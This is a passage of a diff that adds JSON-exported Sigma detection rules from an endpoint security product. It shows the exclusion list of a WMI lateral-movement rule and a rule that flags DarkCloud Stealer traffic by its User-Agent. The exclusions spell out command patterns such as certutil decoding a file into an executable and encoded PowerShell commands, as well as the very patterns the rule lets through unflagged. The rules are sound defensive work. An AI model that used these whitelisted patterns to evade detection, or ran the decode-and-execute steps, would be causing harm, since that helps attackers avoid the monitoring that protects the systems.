c:\\windows\\temp\\restarthealthservice.js 1 60\n        # c:\\windows\\system32\\cmd.exe /c cscript.exe c:\\temp\\restarthealthservice.js 1 60\n        Image: '?:\\windows\\system32\\cmd.exe'\n        CommandLine|contains|all:\n            - 'cscript.exe '\n            - '\\temp\\restarthealthservice.js '\n\n    exclusion_restarthealthservice_ps1:\n        # powershell.exe -ExecutionPolicy Unrestricted C:\\Windows\\TEMP\\RestartHealthService.ps1 1 60\n        Image: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n        CommandLine|contains|all:\n            - ' Unrestricted '\n            - '\\TEMP\\RestartHealthService.ps1 '\n\n    exclusion_citrix:\n        Image|endswith: '\\CtxSession.exe'\n        Signed: 'true'\n        Signature: 'Citrix Systems, Inc.'\n\n    exclusion_stratoprobe:\n        # cmd /c C:\\temp\\StratoProbe\\538834ED5E5A4AF1BC45D07F714BFFD1\\stratoStat.bat\n        # cmd /c rd C:\\temp\\StratoProbe\\F4C7873327D24F6C9AA8499337A90320\n        # cmd /c del C:\\temp\\StratoProbe\\C55C1EA5417F4A599C66220D15748DFD\\*.bat\n        # cmd /c del C:\\temp\\StratoProbe\\538834ED5E5A4AF1BC45D07F714BFFD1\\*.txt\n        # cmd /c (echo ^setlocal enabledelayedexpansion) >> C:\\temp\\StratoProbe\\36B0863655D14B9FAEDABB0F0082D6DB\\stratoStat.bat\n        # cmd /c (echo for /f delims= %%^i in ^(^!textfile^!^) do ^() >> C:\\temp\\StratoProbe\\36B0863655D14B9FAEDABB0F0082D6DB\\stratoStat.bat\n        # cmd /c (echo set line=!line: =~!) >> C:\\temp\\StratoProbe\\36B0863655D14B9FAEDABB0F0082D6DB\\stratoStat.bat\n        # cmd /c (echo set /a counter=counter+1) >> C:\\temp\\StratoProbe\\1743B701DCB242C1952F6809EF249E78\\stratoStat.bat\n        # cmd /c (echo cls && echo cls) > C:\\temp\\StratoProbe\\4876911C42784D3FA87A3BA900FF64D7\\stratoStat.bat\n        # cmd /c md C:\\temp\\StratoProbe\\36B0863655D14B9FAEDABB0F0082D6DB\n        CommandLine:\n            - 'cmd /c ?:\\temp\\StratoProbe\\\\????????????????????????????????\\stratoStat.bat'\n            - 'cmd /c rd ?:\\temp\\StratoProbe\\\\????????????????????????????????'\n            - 'cmd /c md ?:\\temp\\StratoProbe\\\\????????????????????????????????'\n            - 'cmd /c del ?:\\temp\\StratoProbe\\\\????????????????????????????????\\\\?.bat'\n            - 'cmd /c del ?:\\temp\\StratoProbe\\\\????????????????????????????????\\\\?.txt'\n            - '* >> ?:\\temp\\StratoProbe\\\\????????????????????????????????\\stratoStat.bat'\n            - '* > ?:\\temp\\StratoProbe\\\\????????????????????????????????\\stratoStat.bat'\n\n    exclusion_netwrix:\n        CommandLine:\n            - 'netsh.exe advfirewall firewall add rule name=Netwrix Remote Event Log Management (RPC-EPMAP) description=Inbound rule for the RPCSS service to allow RPC/TCP traffic for the local Event Log Service. profile=Private,Public,Domain enable=yes action=allow dir=in protocol=tcp localport=RPC-EPMap service=Eventlog program=%SystemRoot%\\system32\\svchost.exe'\n            - 'netsh.exe advfirewall firewall add rule name=Netwrix Remote Event Log Management (RPC) description=Inbound rule for the local Event Log service to be remotely managed via RPC/TCP. profile=Private,Public,Domain enable=yes action=allow dir=in protocol=tcp localport=RPC service=Eventlog program=%SystemRoot%\\system32\\svchost.exe'\n            - 'netsh.exe advfirewall firewall add rule name=Netwrix Remote Event Log Management (NP-In) description=Inbound rule for the local Event Log service to be remotely managed over Named Pipes. profile=Private,Public,Domain enable=yes action=allow dir=in protocol=tcp localport=445 service=Eventlog program=System'\n            - 'netsh.exe advfirewall firewall delete rule name=Netwrix Remote Event Log Management (RPC-EPMAP)'\n            - 'netsh.exe advfirewall firewall delete rule name=Netwrix Remote Event Log Management (RPC)'\n            - 'netsh.exe advfirewall firewall delete rule name=Netwrix Remote Event Log Management (NP-In)'\n\n    exclusion_conhost:\n        Image: '?:\\Windows\\System32\\conhost.exe'\n        # \\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1\n        CommandLine|endswith:\n            - ':\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1'\n            - ':\\Windows\\system32\\conhost.exe 0x4'\n\n    exclusion_solarwinds:\n        CommandLine:\n            - '?:\\Windows\\system32\\cmd.exe /c ?:\\WINDOWS\\Temp\\\\????????-????-????-????-????????????\\GetPendingUpdates_vbs.CMD'\n            - '?:\\Windows\\system32\\cmd.exe /c ?:\\WINDOWS\\Temp\\\\????????-????-????-????-????????????\\GetUpdateDates_vbs.CMD'\n            - '?:\\Windows\\system32\\cmd.exe /c ?:\\Users\\\\*\\AppData\\Local\\Temp\\\\????????-????-????-????-????????????\\GetPendingUpdates_vbs.CMD'\n            - '?:\\Windows\\system32\\cmd.exe /c ?:\\Users\\\\*\\AppData\\Local\\Temp\\\\????????-????-????-????-????????????\\GetUpdateDates_vbs.CMD'\n\n    exclusion_microsoft_assessment:\n        CommandLine:\n            - 'cmd.exe /Q /c chcp * & reg query HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall * > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c chcp * & reg query HKLM\\\\SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall * > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c cmd.exe /c dir ?:\\\\programdata\\\\regid* /b /s > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c cmd.exe /c hostname > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c cmd.exe /c mode con: cols=4096 | echo . | powershell.exe -EncodedCommand * > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c cmd.exe /c reg query HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\* > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c cmd.exe /c reg query HKEY_LOCAL_MACHINE\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Microsoft SQL Server /S > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c cmd.exe /c reg query HKLM\\\\SOFTWARE\\\\Classes\\\\Local Settings\\\\Software\\\\Microsoft\\\\Windows\\\\* > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c cmd.exe /c reg query HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c cmd.exe /c ver > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c cmd.exe /c wmic logicaldisk get Name, DriveType, FileSystem, Size, FreeSpace, VolumeSerialNumber /format:list > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c cmd.exe /c wmic /namespace:\\\\\\\\root\\\\cimv2\\\\security\\\\microsofttpm path win32_tpm get * /format:list > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c cmd.exe /c wmic path Win32_TSLicenseServer get ServerRole /format:list > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c cmd.exe /c wmic qfe get Hotfixid /format:list > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c netsh trace start capture=yes report=disabled filemode=circular overwrite=yes maxSize=4 > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c netsh trace stop > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c reg query HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Edge\\\\BLBeacon /S > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c reg query HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\* > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c reg query HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c reg query HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer /reg:64 /S > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c reg query HKLM\\\\Software\\\\Microsoft\\\\Microsoft SQL Server * > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c reg query HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\* > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c reg query HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows Defender * > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c reg query HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c wmic /namespace:\\\\\\\\root\\\\wmi path MS_SystemInformation get SystemProductName,SystemSKU,SystemVersion /format:list > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c wmic path win32_PointingDevice get \\* /format:list > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c wmic path win32_VideoController get \\* /format:list > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n            - 'cmd.exe /Q /c wmic systemenclosure get ChassisTypes /format:list > \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__?????????????????? 2>&1'\n\n    exclusion_sms_dp:\n        CommandLine:\n            - 'regsvr32.exe ?:\\SMS_DP$\\sms\\bin\\smsdp.dll /s'\n            - '?:\\SMS_DP$\\sms\\bin\\vcredist_x64.exe /q /norestart /log ?:\\SMS_DP$\\sms\\bin\\vcredist.log'\n\n    exclusion_activebackup:\n        # C:\\Users\\Administrateur\\AppData\\Local\\ActiveBackup\\49449e525dcf884caba4dc05e19a3262\\2.4.0-0023\\hyperv_helper.exe\n        # C:\\Users\\Administrateur\\AppData\\Local\\ActiveBackup\\14b889f7d2adc9c0344402969f164026\\2.4.0-0023\\hyperv_helper.exe\n        Image: '*\\AppData\\Local\\ActiveBackup\\\\*\\hyperv_helper.exe'\n        Signed: 'true'\n        Signature: 'Synology Inc.'\n\n    # maybe atlassian\n    exclusion_disco_remote:\n        # cmd.exe /c echo FOR /F tokens=* USEBACKQ %%F IN (`!_cmd!`) DO ( >> %userprofile%\\discoRemote.cmd\n        # cmd.exe /c echo ) >> %userprofile%\\discoRemote.cmd\n        # cmd.exe /c echo SETLOCAL ENABLEDELAYEDEXPANSION >> %userprofile%\\discoRemote.cmd\n        # cmd.exe /c echo @ECHO OFF >> %userprofile%\\discoRemote.cmd\n        # cmd.exe /c echo ENDLOCAL >> %userprofile%\\discoRemote.cmd\n        # cmd.exe /c echo SET output=!output:=\"! >> %userprofile%\\discoRemote.cmd\n        # cmd.exe /c echo reg add HKLM\\SOFTWARE\\Discovery-Tool /v OutStr!count! /t REG_MULTI_SZ /f /d !output! >> %userprofile%\\discoRemote.cmd\n        # cmd.exe /c echo SET output=%%F >> %userprofile%\\discoRemote.cmd\n        # cmd.exe /c echo SET /a count=!count!+1 >> %userprofile%\\discoRemote.cmd\n        # cmd.exe /c echo SET count=100000 >> %userprofile%\\discoRemote.cmd\n        # cmd.exe /c echo SET _cmd=sqlcmd -E -Q ^SELECT DB.name, SUM(CASE WHEN type = 0 THEN MF.size * 8 / 1024 ELSE 0 END) AS DataFileSizeMB, SUM(CASE WHEN type = 1 THEN MF.size * 8 / 1024 ELSE 0 END) AS LogFileSizeMB, @@servicename AS InstanceName, (SELECT TOP 1 local_tcp_port FROM sys.dm_exec_connections WHERE local_tcp_port IS NOT NULL ORDER BY last_read DESC) AS Port FROM sys.master_files MF JOIN sys.databases DB ON DB.database_id = MF.database_id GROUP BY DB.name^ >> %userprofile%\\discoRemote.cmd\n        CommandLine:\n            - 'cmd.exe /c echo *>> %userprofile%\\discoRemote.cmd'\n            - 'cmd.exe /c del %userprofile%\\discoRemote.cmd /F /Q'\n            - 'cmd.exe /c %userprofile%\\discoRemote.cmd'\n            - 'cmd.exe /c reg delete HKLM\\SOFTWARE\\Discovery-Tool /f'\n\n    exclusion_legit:\n        CommandLine:\n            - 'powershell.exe -noprofile -noninteractive -Command Remove-NetTransportFilter -SettingName InternetCustom -Confirm:$false'\n            - 'powershell.exe -noprofile -noninteractive -Command Set-NetTCPSetting -SettingName InternetCustom -CongestionProvider Default'\n\n    exclusion_sysid:\n        CommandLine:\n            - 'cmd.exe /c mkdir ?:\\temp\\sysId'\n            - 'cmd.exe /c del /s /q ?:\\Windows\\TEMP\\sysId'\n            # cmd.exe /c C:\\temp\\sysId\\getSystemId.exe | find System ID >> C:\\temp\\sysId\\83d93175-6871-4871-b655-95a81df524e0.txt\n            - 'cmd.exe /c ?:\\temp\\sysId\\getSystemId.exe | find System ID >> ?:\\temp\\sysId\\\\*'\n            - 'cmd.exe /c rd /s /q ?:\\temp\\sysId'\n            # cmd.exe /c mkdir C:\\Windows\\TEMP\\8a5849f41ed8\" && attrib +H C:\\Windows\\TEMP\\8a5849f41ed8\"\n            - 'cmd.exe /c mkdir ?:\\Windows\\TEMP\\\\????????????\" && attrib +H ?:\\Windows\\TEMP\\\\????????????\"'\n            - 'cmd.exe /c mkdir ?:\\Windows\\TEMP\\\\????????????\" &&  attrib +H ?:\\Windows\\TEMP\\\\????????????\"' # double space\n            # cmd.exe /c reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\Dell Computer Corporation\\iDRAC Service Module /s >> C:\\Windows\\TEMP\\\\ExtendedDID_ISM_Version_2022-11-15-05-39-30-094.txt\n            - 'cmd.exe /c reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\Dell Computer Corporation\\iDRAC Service Module /s >> ?:\\Windows\\TEMP\\\\*ExtendedDID_ISM_Version_*'\n            - 'cmd.exe /c rmdir /S /Q ?:\\Windows\\TEMP\\\\*'\n            # cmd.exe /c omreport storage controller -fmt xml -outc C:\\WINDOWS\\TEMP\\6c4ac9e37c5d\\cntrl.xml\n            # cmd.exe /c omreport system esmlog -fmt xml -outc C:\\WINDOWS\\TEMP\\6c4ac9e37c5d\\ESMLog.xml\n            - 'cmd.exe /c omreport * -outc *'\n            - 'cmd.exe /c omreport.exe about'\n            - 'cmd.exe /c iscli -pinfo'\n            - 'cmd.exe /c iscli -i'\n            - 'cmd.exe /c iscsicli ListInitiators'\n            - 'cmd.exe /c reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Dell Computer Corporation\\OpenManage\\Applications\\SystemsManagement /s >> ?:\\WINDOWS\\TEMP\\\\*'\n            - 'cmd.exe /c reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\Dell Computer Corporation\\OpenManage\\Applications\\SystemsManagement /s >> ?:\\WINDOWS\\TEMP\\\\*'\n            - 'cmd.exe /c driverquery'\n            - 'cmd.exe /c reg query * >> ?:\\WINDOWS\\TEMP\\\\*QlogicFCHBA_*'\n            - 'cmd.exe /c reg query * >> ?:\\WINDOWS\\TEMP\\\\*OSSummary_*'\n            - 'cmd.exe /c reg query * >> ?:\\WINDOWS\\TEMP\\\\*InstalledApplicationRegistry_*'\n            - 'cmd.exe /c reg query * >> ?:\\WINDOWS\\TEMP\\\\*Windows_ISCSI_*'\n\n            # cmd.exe /c C:\\WINDOWS\\TEMP\\6d43b83c43ef\\\\omsaRaidCntrlLogs.bat C:\\WINDOWS\\TEMP\\6d43b83c43ef\\\n            - 'cmd.exe /c ?:\\WINDOWS\\TEMP\\\\*\\omsaRaidCntrlLogs.bat ?:\\WINDOWS\\TEMP\\\\*'\n            - 'cmd.exe /c -enc=UTF-8 -outc=?:\\WINDOWS\\TEMP\\\\????????????\\Inventory.xml'\n\n    exclusion_temp_gpupdate_task:\n        CommandLine:\n            - 'schtasks.exe /delete /f /tn Temp_GPUpdate_Task'\n            - 'schtasks.exe /run /i /tn Temp_GPUpdate_Task'\n            # schtasks.exe /create /RU xxx\\yyy /SC DAILY /SD 03/14/2023 /ST 00:02 /ED 03/15/2023 /Z /F /TN Temp_GPUpdate_Task /TR cmd /c echo N | gpupdate /force\n            - 'schtasks.exe /create /RU * /TN Temp_GPUpdate_Task /TR cmd /c echo N | gpupdate /force'\n\n    exclusion_csat:\n        CommandLine:\n            - 'cmd /c mkdir ?:\\windows\\Temp\\csat'\n            - 'cmd /c rmdir ?:\\Windows\\Temp\\csat /q /s'\n            - 'cmd /c ?:\\Windows\\Temp\\csat\\csat_dwnldr.exe * -f ?:\\Windows\\Temp\\csat\\csat.exe'\n            - 'cmd /c echo *> ?:\\WINDOWS\\Temp\\csat\\csat_dwnldr.exe.config'\n            - 'cmd /c echo *> ?:\\WINDOWS\\Temp\\csat\\csat.exe.config'\n            - 'cmd /c echo *> ?:\\WINDOWS\\Temp\\csat\\csat_dwnldr.txt'\n            - 'cmd /c certutil -f -decode ?:\\WINDOWS\\Temp\\csat\\csat_dwnldr.txt ?:\\WINDOWS\\Temp\\csat\\csat_dwnldr.exe'\n            - '?:\\WINDOWS\\Temp\\csat\\csat.exe *ipv4=*'\n\n    exclusion_commvault:\n        Image|endswith: '\\CVMedia\\setup.exe'\n        ProcessSignature: 'Commvault Systems, Inc.'\n        ProcessSigned: 'true'\n\n    exclusion_nessus:\n        CommandLine: '?:\\Windows\\System32\\cmd.exe /c *> ?:\\Windows\\TEMP\\nessus_*'\n\n    exclusion_advancedauditpolicybackup:\n        CommandLine: 'auditpol.exe /backup /file:?:\\Windows\\Temp\\AdvancedAuditPolicyBackup.csv'\n\n    exclusion_veritas_backup:\n        CommandLine|contains: '*\\strpimon.exe /k SOFTWARE\\Veritas\\SymcInstall /i setup.exe *; /DEST:?:\\Program Files\\Veritas\\Backup Exec'\n\n    exclusion_fstmp:\n        CommandLine: '?:\\Windows\\system32\\cmd.exe /c ?:\\temp\\fstmp\\fs_action_*.bat'\n\n    exclusion_schtasks_tmp_gpupdate:\n        CommandLine: 'schtasks.exe /create * /TN Temp_GPUpdate_Task /TR cmd /c echo N | gpupdate /Target:User /force'\n\n    exclusion_healthservicerestart:\n        CommandLine|startswith: 'powershell.exe ?:\\Windows\\TEMP\\RestartHealthService.ps1'\n\n    exclusion_nessus_ad_join:\n        CommandLine|contains:\n            # $joinInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ptrJoinInfo, [System.Type][NetAPI32+DSREG_JOIN_INFO]\n            - 'JABqAG8AaQBuAEkAbgBmAG8AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAE0AYQByAHMAaABhAGwAXQA6ADoAUAB0AHIAVABvAFMAdAByAHUAYwB0AHUAcgBlACgAJABwAHQAcgBKAG8AaQBuAEkAbgBmAG8ALAAgAFsAUwB5AHMAdABlAG0ALgBUAHkAcABlAF0AWwBOAGUAdABBAFAASQAzADIAKwBEAFMAUgBFAEcAXwBKAE8ASQBOAF8ASQBOAEYATwBdACkA'\n            - 'QAagBvAGkAbgBJAG4AZgBvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AFAAdAByAFQAbwBTAHQAcgB1AGMAdAB1AHIAZQAoACQAcAB0AHIASgBvAGkAbgBJAG4AZgBvACwAIABbAFMAeQBzAHQAZQBtAC4AVAB5AHAAZQBdAFsATgBlAHQAQQBQAEkAMwAyACsARABTAFIARQBHAF8ASgBPAEkATgBfAEkATgBGAE8AXQApA'\n            - 'kAGoAbwBpAG4ASQBuAGYAbwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAcwBoAGEAbABdADoAOgBQAHQAcgBUAG8AUwB0AHIAdQBjAHQAdQByAGUAKAAkAHAAdAByAEoAbwBpAG4ASQBuAGYAbwAsACAAWwBTAHkAcwB0AGUAbQAuAFQAeQBwAGUAXQBbAE4AZQB0AEEAUABJADMAMgArAEQAUwBSAEUARwBfAEoATwBJAE4AXwBJAE4ARgBPAF0AKQ'\n\n    exclusion_vcredist:\n        CommandLine|endswith:\n            - '\\vc-redist-x*.exe /quiet /norestart'\n            - '\\vc_redist-x*.exe /quiet /norestart'\n            - '\\vc_redist.x*.exe /q /norestart'\n            - '\\vc-redist.x*.exe /q /norestart'\n\n    exclusion_pwsh_installer:\n        CommandLine|endswith: 'powershell.exe -windowstyle hidden *\\Installer-APPS.ps1 -PackageType * -PackageName * -PackageVersion *'\n\n    exclusion_uninstall_package_cache:\n        CommandLine: 'cmd.exe /c for /r ?:\\ProgramData\\Package Cache* a a /uninstall /quiet /norestart AP_UNINSTALL_CODE=*'\n\n    exclusion_evolucare_1:\n        Image|endswith: '\\NginxGateway.exe'\n        Company: 'Evolucare'\n        Product: 'Ecs.Registry.NginxGateway.Console'\n\n    exclusion_evolucare_2:\n        CommandLine|contains: '\\\\*-*-*-*-*.exe /SP- /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /DIR=*\\Evolucare\\'\n\n    exclusion_fortinet:\n        CommandLine|endswith: 'x64_FortiClient_EMS_*_Installer.ps1'\n\n    exclusion_vagrant:\n        CommandLine|startswith: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonInteractive -NoProfile -ExecutionPolicy Bypass -EncodedCommand'\n        User|endswith: '\\vagrant'\n\n    # Siemens Healthcare GmbH\n    exclusion_siemens:\n        CommandLine: '?:\\Windows\\system32\\cmd.exe /c ?:\\SysMgmt\\service\\mwtools\\SD_Installer_Start.cmd'\n\n    exclusion_arcgis:\n        CommandLine|contains:\n            - 'sc.exe qc Portal for ArcGIS'\n            - '\\Portal_for_ArcGIS_Windows'\n            - '\\ArcGIS_Server_Windows'\n\n    #trap {\n    #    $wrapper_path = \"$($env:TEMP)\\ansible-async-wrapper-error-\n    exclusion_ansible_powershell:\n        Image|endswith: '\\powershell.exe'\n        CommandLine|contains:\n            - 'IAAgACAAIAB0AHIAYQBwACAAewAKACAAIAAgACAAIAAgACAAIAAkAHcAcgBhAHAAcABlAHIAXwBwAGEAdABoACAAPQAgACIAJAAoACQAZQBuAHYAOgBUAEUATQBQACkAXABhAG4AcwBpAGIAbABlAC0AYQBzAHkAbgBjAC0AdwByAGEAcABwAGUAcgAtAGUAcgByAG8AcgAtA'\n            - 'AAIAAgACAAdAByAGEAcAAgAHsACgAgACAAIAAgACAAIAAgACAAJAB3AHIAYQBwAHAAZQByAF8AcABhAHQAaAAgAD0AIAAiACQAKAAkAGUAbgB2ADoAVABFAE0AUAApAFwAYQBuAHMAaQBiAGwAZQAtAGEAcwB5AG4AYwAtAHcAcgBhAHAAcABlAHIALQBlAHIAcgBvAHIALQ'\n            - 'gACAAIAAgAHQAcgBhAHAAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdwByAGEAcABwAGUAcgBfAHAAYQB0AGgAIAA9ACAAIgAkACgAJABlAG4AdgA6AFQARQBNAFAAKQBcAGEAbgBzAGkAYgBsAGUALQBhAHMAeQBuAGMALQB3AHIAYQBwAHAAZQByAC0AZQByAHIAbwByAC0A'\n\n    exclusion_servicenow:\n        CommandLine|contains:\n            - '> \\\\\\\\127.0.0.1\\c$\\temp\\\\*\\psscript_output_*.txt 2>&1'\n            - '2>\\\\\\\\127.0.0.1\\admin$\\temp\\psscript_err_*.txt'\n\n    exclusion_tenable:\n        CommandLine|contains|all:\n            - 'sc.exe start tenable_mw_scan'\n            - 'output=nessus_'\n\n    exclusion_scc:\n        CommandLine|startswith: '?:\\Windows\\system32\\cmd.exe /c ?:\\Program Files\\SCC-Remote\\'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "61760ce9-0e79-4360-81e4-a0c50dab9c8c",
+  "rule_name": "Possible Lateral Movement via WMI",
+  "rule_description": "Detects processes spawned by the Windows Management Instrumentation (WMI) service, specifically when the parent process is \"wmiprvse.exe\".\nWMI is a legitimate management tool used for system administration, but attackers may abuse this mechanism for lateral movement, persistence, or to execute malicious commands. This rule focuses on detecting potentially malicious use by monitoring the spawned processes.\nIt is recommended to review the actions of the child processes to identify any suspicious activities and to verify if the processes align with legitimate management tasks.\n",
+  "rule_creation_date": "2020-09-28",
+  "rule_modified_date": "2026-02-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1047",
+    "attack.t1059.001",
+    "attack.t1059.005",
+    "attack.t1059.007",
+    "attack.t1546.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "61825073-0741-4211-93c9-8a32e4455793",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.603202Z",
+  "creation_date": "2026-03-23T11:45:34.603205Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.603213Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/darkcloud-stealer-and-obfuscated-autoit-scripting/",
+    "https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/"
+  ],
+  "name": "t1071_001_darkcloud_stealer_url_request.yml",
+  "content": "title: URL Request Related to DarkCloud Stealer\nid: 61825073-0741-4211-93c9-8a32e4455793\ndescription: |\n    Detects URL requests with a specific User-Agent associated with the DarkCloud Stealer.\n    DarkCloud is a Windows-based information stealer, that was first identified in 2022, known for stealing passwords, banking details, and other sensitive data.\n    Is is recommended to investigate the request performed by the process to determine its legitimacy as well as the context around this alert to look for malicious actions.\nreferences:\n    - https://unit42.paloaltonetworks.com/darkcloud-stealer-and-obfuscated-autoit-scripting/\n    - https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/\ndate: 2025/08/25\nmodified: 2025/09/18\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1071.001\n    - attack.exfiltration\n    - attack.t1041\n    - classification.Windows.Source.UrlRequest\n    - classification.Windows.Stealer.DarkCloud\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    product: windows\n    category: url_request\ndetection:\n    selection:\n        UserAgent: 'Project1'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "61825073-0741-4211-93c9-8a32e4455793",
+  "rule_name": "URL Request Related to DarkCloud Stealer",
+  "rule_description": "Detects URL requests with a specific User-Agent associated with the DarkCloud Stealer.\nDarkCloud is a Windows-based information stealer, that was first identified in 2022, known for stealing passwords, banking details, and other sensitive data.\nIs is recommended to investigate the request performed by the process to determine its legitimacy as well as the context around this alert to look for malicious actions.\n",
+  "rule_creation_date": "2025-08-25",
+  "rule_modified_date": "2025-09-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1041",
+    "attack.t1071.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
